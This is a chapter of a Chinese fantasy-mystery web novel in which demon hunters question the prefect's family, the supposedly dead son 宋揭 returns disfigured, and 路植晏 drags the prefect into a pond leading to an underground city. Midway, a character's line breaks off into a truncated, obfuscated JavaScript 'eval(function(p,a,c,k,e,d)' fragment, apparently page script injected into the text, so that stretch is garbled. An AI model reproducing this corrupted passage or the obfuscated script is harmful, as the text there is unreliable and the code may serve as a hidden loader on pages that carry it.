谢惊春急匆匆跳下小阶,她还未出口问,路植晏便先行告知:“根据與图所示,西院必有一处连着湖镜。” 路植晏转头问宋如遇:“宋小姐说过,在宋揭出殡没多久,也就是五月初十那夜,你见过身上挂血的他,而后又见他消失在西院。” “是。” “那时,你还听见了水声。” “是。” “宋小姐,你当时真的见过宋揭的脸吗?” “这……”宋如遇一下噎住,想了好一会儿也只能摇摇头,“应当是没有。” 宋如遇很想把宋括亲手杀过三个人这一关键信息说出来。 于是瞎编乱造,言自己偶得一梦,梦中的她有怪力,每隔一段时间,就能瞧见别人是否杀过人,杀过几个人。 等醒来时,她就发现自己确确实实能看到人头顶的数字。 赵无悲捏着下巴:“还真是个稀罕事,可宋小姐你又是如何验证此事的?” “我看验过很多人,头上都是零。” 路植晏低着头陡地抬眸,目光灼灼:“宋小姐,你要不把我们都瞧一遍,万一这妖,就藏在我们其中。” 他这话的语气,显然是不信,觉得荒唐。 谢惊春在一旁沉默,眼中没什么光亮,像是陷入了一片暗泽,周围人声消弭,她孤身堕入后室,耳旁传来嘈杂又沉寂的缓慢心跳声。 “惊春?惊春!” 宋如遇连喊了几声,谢惊春指尖一颤,像是魂归肉身,五感恢复正常,脚底踏的也是实打实的地板,人站立在那儿,呆愣愣的。 她目光不定:“你……你们说到哪儿了?” 路植晏看着她指甲发红的食指,又立即撤回视线:“说让宋小姐,验一验你。” 谢惊春没有看宋如遇,而是悄无声息地掩盖了自己刚才的失神,神情自若地坐了下来,声音清明:“宋小姐不是说了吗?每次使用都需要一定的时间恢复,下次才能继续使用,现在用了,万一接下来真需要验人,岂不是白白浪费?” 宋如遇下意识地快速扫了惊春一眼,而后附和着道:“惊春说得有理,况且,我实在没有编造谎言的理由。” 她这轻微的举动,被路植晏收入眼底,他缓慢地叩了叩指:“宋小姐确实没有编造谎言的理由,那日后可能真的想请宋小姐,验一个人。” “谁?” “再说吧。” 宋如遇莞尔一笑,表示乐意效劳。 她见赵无悲在旁,特地避开了惊春让她验齐怀金之事。 但将对宋括的怀疑,以及自己害怕宋括,所以故意装作被死去的刺史夫人上身之事抖落了个干净。 赵无悲想起灵安寺刺史和师父说的话:“宋括曾言,张正是他杀的。” 路植晏早已听他说过此事,可就是因为听了此事,他越觉得宋括在灵安寺所说,是一派胡言。 张正是他杀的,那尸体也是他藏在清鸾的棺椁中的,可张正的招魂符也是出自他的袖中。 岂不是自相矛盾。 可宋如遇不知,她睫毛一抖,连眨了几下:“他果真说张正是他杀的?” 神色中带着不解和疑惑。 “宋小姐好像对张正之事格外在意。” “我……” 这时,外面来人,说宋括醒了。 宋如遇一个哆嗦:“他可能就是一直藏在府内的妖……” 这个宋小姐,对自己这个所谓验杀的能力如此相信,其信任度早已超过自己的亲生父亲。 一般人,会因为一个莫名其妙的能力肯定自己的父亲就是杀人犯,就是被妖附身? 怀疑在心中蔓延,路植晏看向宋如遇的目光近乎探究,他抛出一个看似轻描淡写,实则是为了观察微表情的问题:“你的兄长宋揭如今就在前厅,宋小姐去见见,如何?” 而这边,宋如遇却屡屡将求助商讨的目光,投向谢惊春。 谢惊春一看路植晏就知道,宋如遇刚才的那句话太随意,太急躁了。 她说道:“是,你的哥哥宋揭根本就没死,他现在回来了。” 说完,她又使了个眼色,示意宋如遇见一见宋揭,要不然她作为妹妹听闻哥哥活着却没有什么反应,实属太奇怪。 一旁的赵无悲一拍手,长嗷了一声:“你们难道是说那个松公子,就是刺史失踪两月的儿子?” 他当时没太关注,当宋揭是喜极而泣。 谢惊春她重重地拍了拍赵无悲的肩膀:“完全正确。” 宋如遇了然,已经做好在不认识的哥哥面前演戏的准备,露出相当欣喜的表情,眼泪直接夺眶而出,大颗大颗如断了线的珍珠:“当真?!!!” 谢惊春心中直呼演技派,这种哭戏如果她不是知情人,她铁定相信了。 宋揭懵懵懂懂地跟着众人,像只无家可归的游魂,直到周围街景越来越熟悉,直到生活十几年的刺史府横亘在眼前,他才终于反应过来,自己流浪的地方,一直是金陵。 说不定,很多时候,他的头顶就是刺史府,就是他的家。 宋括悠悠转醒,摸了摸还鼓着包的额头,一抬眼便瞧见了宋揭。 被儿子满身的血黑色绷带吓到,他吓得差点从榻上跌下来,狼狈地扶了扶短冠,语无伦次地指着宋揭:“你你……你是何人?你这个乞丐是如何进我刺史府的?!” 乞丐…… 宋揭所有的怀土之情,桑梓之念因为这两个字,顷刻间荡然无存,取而代之的是心灰意冷和大失所望。 宋括谨慎而防备地冲外面大喊:“来……来人啊!” “大人不认得令郎?” 声音从厅外的层层花圃传来,隔花闻声,宋括蓦地想起夜里问他“人死一月,尸体当是如何”的少年。 路植晏敷衍地朝宋括叉了一礼,随后立即直起身:“大人,连自己的亲儿子都认不得了?” 宋括登时目眐心骇:“路指挥使,我知你一心除妖,可也切不开我儿玩笑!” 路植晏并不恼,只是扭头让他再好好看看。 “爹,我真的是揭儿啊!” 宋揭的声音被火烟熏得沙哑,连腕处的胎记都已经烧得没形。 他揭开一层层的繁复缠带,那张可怖又可怜的脸终于浮现在眼前,眼角被烧得闭合起来,没了昔日的一双含情脉脉的桃花眼,更没了像他母亲一样的高挺鼻梁。 唯有身量,倒是一点没变。 宋括不可置信地围着儿子转了一圈,先是面如土色,旋即之间又因喜不自禁,而变得红润满面:“我儿!果真是我儿!我儿,你这两个多月都去了哪里?你可知你娘因为思念过度,随你去了……” “孩儿有罪,害母亲至此。”宋揭的想哭,可脸部肌肉完全扯不动,连哭都难以做到,只有泪花在眼眶里闪动。 “哥?” 跟在路植晏身后的,还有略显紧张的宋如遇。 父子相拥,又掉了些泪后,才发现宋如遇也在旁侧。 宋揭自是感慨不已,激动万分:“如遇……” 但宋括就没那么好了,他往后连连退了几步:“清鸾,你……” 他转头拉着路植晏小声道:“我妻亡魂不知为何会在如遇身上,望路指挥使助我妻早渡黄泉,让她安息。” 路植晏笑道:“大人你弄错了吧,现在在你面前的,可是你的女儿。” 宋如遇眼角还挂着泪,红红的,她盈盈一笑:“阿爹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路植晏不置可否:“那夜齐司使为杀松鼠,故意将我困于观音殿,是我破了观音像,是我发现了夫人尸体,大人当真不怪罪于我?” 宋括闭眼深呼吸一口:“我知道自己痴心妄想,清鸾无论如何也不会回来的,偷将尸体封入观音像内,亦是触了佛祖才会让我宋家遭此劫难,因果循环,都是孽报。 我如今也已经醒悟,只想与清鸾做来世夫妻,所以不会怪罪路指挥使,反倒是你助我悔悟,不再做痴人。” 他说了那么多,路植晏却看着别处:“观音。” 小佛室内的佛龛已经被撤了,现在那儿放的是一小面木书架。 不细看,还难以注意发生了变化。 宋括顺着他的目光望过去:“哦,我从灵安寺回来后,便觉得这漫天神佛高高在上,皆是无用。若是有用,我日日夜夜求拜,怎么还是不称心?” “修庙宇,塑金身,捧神佛的明明是人。” “这话倒也是,说到底,我们说神佛高高在上,其实是世人高高在上,越难办到的事越喜欢强加在神佛身上,就用那几根香几个贡品交换,若是不成,便要辱骂打砸。 你说,像不像有些芝麻大的小官,拿着微薄的收入,却被安排了艰难的工事,若是做得不如意,还得听训停俸。” “有理。”路植晏道,“只是大人所思,变得挺快。” 宋括笑了笑:“因为我知道,揭儿能回一定不是靠神佛。现在他回来了,我会付出所有治好他的伤势,若是清鸾……” 提起自己的夫人,宋括马上想起赵无悲,表情变得起来愤怒:“可赵无悲和那只妖精竟掘我妻坟,当时他们还同我说什么,坟下有结界!” 路植晏俨乎其然:“宋大人,此言非虚啊。夫人坟下真有结界,在下甚至是去了一趟地下才上来的,宋公子这两个多月,可一直就在这……” 他顿了一下,脚尖轻轻点了点地面:“地下城里。” 宋括眼睛睖睁着:“路指挥使真会说笑,这地底土埋着土,怎叫下去一趟又上来?” 路植晏站起身,扬首笑道:“宋大人,要不,走一遭?” “大人请放心,我既能带令郎上来,自然是有把握。” 宋括的胡须颤了颤,略显迂缓地起身:“那便随路指挥使走一趟。” 两人出了书房,就看见廊外的谢惊春。 她站在黑夜里,脸苍白得吓人。 “我跟你一起下去,把阿夏先救出来。” 路植晏斩钉截铁:“我来救,你别去了。” “那我可以干点什么?” “那你就在这里盯着所有人,特别是宋如遇。” 说完,他生怕谢惊春真的跟上来,于是快走了几步。 可他又突然折返回来,扯下腰间的玉牌,交到讷讷的惊春手上。 他双指比作剪刀状,虚戳自己的眼睛,又快速转向惊春的双眼:“盯好她。” “还有宋揭,让他在捉妖司执笔面前,将被人绑架过程全部说清楚。” 谢惊春愣了愣,但很快领略到路植晏的意思,他将宋括带走,一是为了让宋揭的供词是第一手,二就是要试宋括,三是因为齐怀金失踪,最容易让人联想的便是他同惊春当初失踪一样,来到了地下城。 不然堂堂一个捉妖司司使的行踪,怎么会无一人知晓。 只是她还是不理解为何他会说,要盯好宋如遇。 “等等,你不会离我得太远吧?” 现在系统可是以完全体绑定在她身上,如果他走远了,她可是要受疼的。 路植晏低头看着她拽着自己胳膊的手,手上包着厚厚的白布,本不想回答的他,以为她是孤身一人在地下城待出阴影来了,心中漾开一种不知是不是叫做心疼的情绪,他拎起她的袖口,定定地看着面前少女:“不会,就在西院。” 谢惊春跟在他后头小跑了几步:“还有一事。方才赵无悲在旁,我不好说。你可记得桃花源三大隐气法器之一,固心目?” “我怀疑你的别妄铃一直没响,就是因为固心目,齐怀金,必是喰妖附身。” 谢惊春怀疑齐怀金被妖附身,还有一丝证据。 他一个红缨捉妖师,被大妖附身,能承受住妖气冲击,还能保持人体不发生妖变,也不是不可能。 反之,像在凌阳,被喰妖夺舍的普通人,身体就会控制不住妖化,生出利爪利牙。 路植晏停了下来:“固心目不是在凌阳就随着喰妖一起下了淮河?” 倏忽,他道:“没死?” 谢惊春摆了摆手,手上包扎的伤痕依旧明显:“不可能。” “人食人,是故喰妖双生,一方死,一方生,生生不息,永夜难除。我伯父的手札上,曾记录过。”她十分肯定道,“所以它不是没死,而是,多了一个。” 可若齐怀金是喰妖附身,他何故如此憎妖? 路植晏忽然看着谢惊春的身后:“松鼠何在?” “我在这儿呢。”松鼠从旁边的一棵树上跳下来。 “以后你跟着我。” “哦。” 松鼠知道自己是颗不定时炸药,若是跟着春春,碰上齐怀金这样的硬茬,一定会像上次一样拖累于她。 只不过待会要和宋括同行,松鼠也不好趴在路植晏肩膀上,只能不情不愿地钻进他怀里。 谢惊春总觉得需要叮嘱的事情很多,路植晏刚转身,她又扯住他的衣袖:“对了,你要小心松鼠说过的那个脖上写有「恭迎」二字的裴姓人。那双刀马夫根本没有法力,但武功实在高强,却也甘愿为他牛马,只能说明那裴姓人实力更上一层。 另外他不靠銮铃就可以出去,很有可能就是布禁制之人,若是如此,他甚至会是地下城的主人!” “谢惊春。”等谢惊春叽里咕噜说完,路植晏带着安抚的语气道,“其实你现在应该做的是,好好休息。” “我……”谢惊春自己也不知道为什么,自从在地下城屡屡感受到死亡的临近,她好像越来不安了,越来越怕自己停下来,静下来。 “好好休息,我马上便回。” 将谢惊春推走后,路植晏回到宋括身边,但还是朝后看了几次,见谢惊春犹犹豫豫的身影消失在视线,才彻底转过头来。 “宋大人可知,这地下城有十里长街,可与一小县比之。” “路指挥使如此说来,我还真有些期待,如果当真在我宋某人的眼皮下,金陵竟不知何时有此秘事,害我儿至此,我第一时间,必当肃清。” 路植晏拊掌:“大人英明。” 走着走着,宋括觉得有些不对劲。 “路指挥使不是说带本官去地下城,怎的来了西院?” “大人有所不知,走远了,很多东西便见不到了。” 洗晦桥铺连的是炼丹室,出仙市还要大干一场,实在麻烦。 宋括冷不丁冒出一句话:“路指挥使不会是怀疑,我宋某人与齐司使失踪有关吧?” “大人为何会有此问?”路植晏站在西院中,满不在意地问。 宋括指着池塘,开玩笑道:“路指挥使自己在此看了很久了,难不成,想这里跳下去?” “也不是不可能。” 说着,路植晏倏地拉过宋括,双双落水。 “哎——路指挥使!” 宋括惊惧的声音很快被漫过来的“水”吞没。